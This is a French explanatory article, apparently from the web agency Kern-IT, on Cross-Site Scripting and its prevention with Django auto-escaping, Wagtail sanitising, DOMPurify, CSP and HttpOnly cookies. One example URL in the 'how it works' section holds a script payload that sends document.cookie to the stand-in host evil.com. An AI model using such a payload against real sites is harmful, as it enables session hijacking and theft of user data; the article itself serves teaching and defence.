XSS (Cross-Site Scripting) : Qu'est-ce que c'est ?
Définition
Le XSS (Cross-Site Scripting) est une vulnérabilité web qui permet à un attaquant d'injecter du code JavaScript malveillant dans des pages vues par d'autres utilisateurs. Django protège nativement contre le XSS grâce à l'auto-échappement des templates, une défense essentielle classée dans le Top 10 OWASP.Qu'est-ce que le XSS (Cross-Site Scripting) ?
Le Cross-Site Scripting, abrégé XSS (le X évite la confusion avec CSS), est une vulnérabilité de sécurité web qui permet à un attaquant d'injecter du code client, typiquement du JavaScript, dans des pages web consultées par d'autres utilisateurs. Contrairement au CSRF qui exploite la confiance du site envers le navigateur, le XSS exploite la confiance de l'utilisateur envers le site. Lorsqu'un navigateur charge une page contenant du code XSS injecté, il l'exécute avec les mêmes privilèges que le code légitime du site.
Il existe trois types principaux de XSS. Le XSS réfléchi (reflected) survient quand des données fournies par l'utilisateur dans une requête HTTP sont immédiatement renvoyées dans la réponse sans assainissement, par exemple dans un message d'erreur ou un résultat de recherche. Le XSS stocké (stored ou persistent) est plus dangereux : le code malveillant est enregistré dans la base de données (commentaire, profil, message) et servi à tous les utilisateurs qui consultent la page concernée. Le XSS basé sur le DOM (DOM-based) se produit entièrement côté client, lorsque du JavaScript manipule le DOM en utilisant des données non fiables.
Le XSS figure systématiquement dans le Top 10 OWASP des vulnérabilités web les plus critiques. Pour les entreprises belges soumises au RGPD, une faille XSS peut permettre le vol de données personnelles via le détournement de sessions, exposant l'organisation à des sanctions réglementaires et à une perte de réputation.
Pourquoi le XSS est important
Le XSS est l'une des vulnérabilités les plus fréquentes et les plus dangereuses du web. Sa compréhension et sa prévention sont essentielles pour toute équipe de développement.
- Vol de session et usurpation d'identité : un script XSS peut accéder aux cookies de session (
document.cookie) et les transmettre à l'attaquant, qui peut alors se connecter au compte de la victime sans connaître son mot de passe. - Exfiltration de données sensibles : le code injecté peut lire le contenu de la page (informations personnelles, données financières, tokens) et l'envoyer vers un serveur externe contrôlé par l'attaquant.
- Defacement et phishing : le XSS permet de modifier le contenu visible de la page pour afficher de faux formulaires de connexion, rediriger vers des sites malveillants ou injecter du contenu trompeur.
- Propagation virale : un XSS stocké peut se propager automatiquement, chaque utilisateur infecté générant de nouvelles injections (cas du ver Samy sur MySpace en 2005).
- Protection native Django : le moteur de templates Django échappe automatiquement les variables affichées, transformant les caractères spéciaux HTML (<, >, &, ", ') en entités inoffensives, ce qui bloque la majorité des attaques XSS réfléchies et stockées.
Comment ça fonctionne
Le mécanisme d'une attaque XSS repose sur l'insertion de code exécutable dans le flux HTML envoyé au navigateur de la victime. Pour un XSS réfléchi, l'attaquant construit une URL piégée, par exemple https://app.be/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>. Si le serveur inclut la valeur du paramètre q directement dans la page HTML sans échappement, le navigateur de la victime exécutera ce script lors du chargement de la page.
Pour un XSS stocké, l'attaquant soumet du code JavaScript via un champ de formulaire qui est persisté en base de données, comme un commentaire de blog ou un champ de profil. Chaque fois qu'un utilisateur consulte la page contenant ce contenu, le script s'exécute dans son contexte de session.
La défense principale est l'échappement contextuel des sorties (output encoding). Django l'implémente automatiquement dans son moteur de templates : toute variable affichée avec {{ variable }} est échappée par défaut. Les caractères dangereux comme < deviennent <, empêchant le navigateur de les interpréter comme du HTML. Cette protection fonctionne à condition de ne pas utiliser le filtre |safe ou la balise {% autoescape off %} sur des données non fiables. Les protections complémentaires incluent les en-têtes Content Security Policy (CSP) qui restreignent l'exécution de scripts inline, et la validation/assainissement des entrées côté serveur.
Exemple concret
Dans un projet de CMS développé par Kern-IT avec Wagtail (basé sur Django), les éditeurs de contenu saisissent du texte enrichi via des champs RichText. Le framework Wagtail assainit automatiquement le HTML produit par l'éditeur en supprimant les balises et attributs dangereux (scripts, event handlers comme onclick, iframes non autorisées). Côté templates, toutes les variables sont auto-échappées par Django, et nous utilisons le filtre |safe uniquement sur le contenu HTML déjà assaini par Wagtail.
Pour les interfaces interactives en React qui consomment notre API REST, nous appliquons une politique stricte : aucune donnée utilisateur n'est insérée via dangerouslySetInnerHTML sans passer par une bibliothèque d'assainissement comme DOMPurify. Les en-têtes CSP configurés sur notre serveur Nginx bloquent l'exécution de scripts inline et limitent les sources de scripts aux domaines explicitement autorisés.
Mise en oeuvre
- Conserver l'auto-échappement Django : ne désactivez jamais
{% autoescape off %}pour afficher des données utilisateur. Si vous devez rendre du HTML, assainissez-le au préalable avec une bibliothèque comme bleach ou nh3. - Configurer Content Security Policy : déployez un en-tête CSP strict avec
script-src 'self'pour bloquer les scripts inline et les sources non autorisées. Utilisez django-csp pour simplifier la configuration. - Valider et assainir les entrées : appliquez une validation stricte des données côté serveur (type, longueur, format attendu) et assainissez le HTML riche avec des bibliothèques dédiées avant la persistance en base.
- Utiliser HttpOnly sur les cookies : configurez
SESSION_COOKIE_HTTPONLY = Truedans Django pour empêcher l'accès JavaScript aux cookies de session, limitant l'impact d'un XSS réussi. - Auditer le code frontend : recherchez les utilisations de
innerHTML,document.write()etdangerouslySetInnerHTMLdans votre code JavaScript/React et vérifiez que les données sont assainies avant injection. - Scanner automatiquement : intégrez OWASP ZAP dans votre pipeline de déploiement pour détecter les failles XSS avant la mise en production.
Technologies et outils associés
- Django Template Engine : moteur de templates avec auto-échappement HTML activé par défaut, première ligne de défense contre le XSS.
- Content Security Policy (CSP) : en-tête HTTP qui contrôle les sources de contenu exécutable, bloquant les scripts inline injectés.
- DOMPurify / bleach / nh3 : bibliothèques d'assainissement HTML qui suppriment les balises et attributs dangereux tout en conservant le formatage légitime.
- OWASP ZAP : scanner de sécurité web open source qui détecte automatiquement les vulnérabilités XSS réfléchies et stockées.
- Wagtail RichText : éditeur de contenu enrichi qui assainit automatiquement le HTML produit par les éditeurs.
- React : bibliothèque frontend qui échappe par défaut les valeurs insérées dans le JSX, protégeant contre le XSS dans les composants.
Conclusion
Le XSS demeure l'une des vulnérabilités les plus exploitées sur le web, mais des défenses efficaces existent et sont largement accessibles. Django offre une protection native remarquable grâce à l'auto-échappement des templates, et des outils complémentaires comme CSP et DOMPurify renforcent la sécurité en profondeur. Chez Kern-IT, nous appliquons une approche de défense en couches dans toutes nos applications web et nos projets Wagtail, combinant l'échappement automatique, la validation des entrées, les en-têtes de sécurité et les audits réguliers pour protéger les données de nos clients conformément aux standards OWASP et aux exigences RGPD.
Activez Content Security Policy en mode « report-only » pendant deux semaines avant de passer en mode bloquant. Cela vous permettra d'identifier les scripts inline légitimes de votre application sans casser les fonctionnalités existantes, puis de les migrer vers des fichiers externes ou des nonces CSP.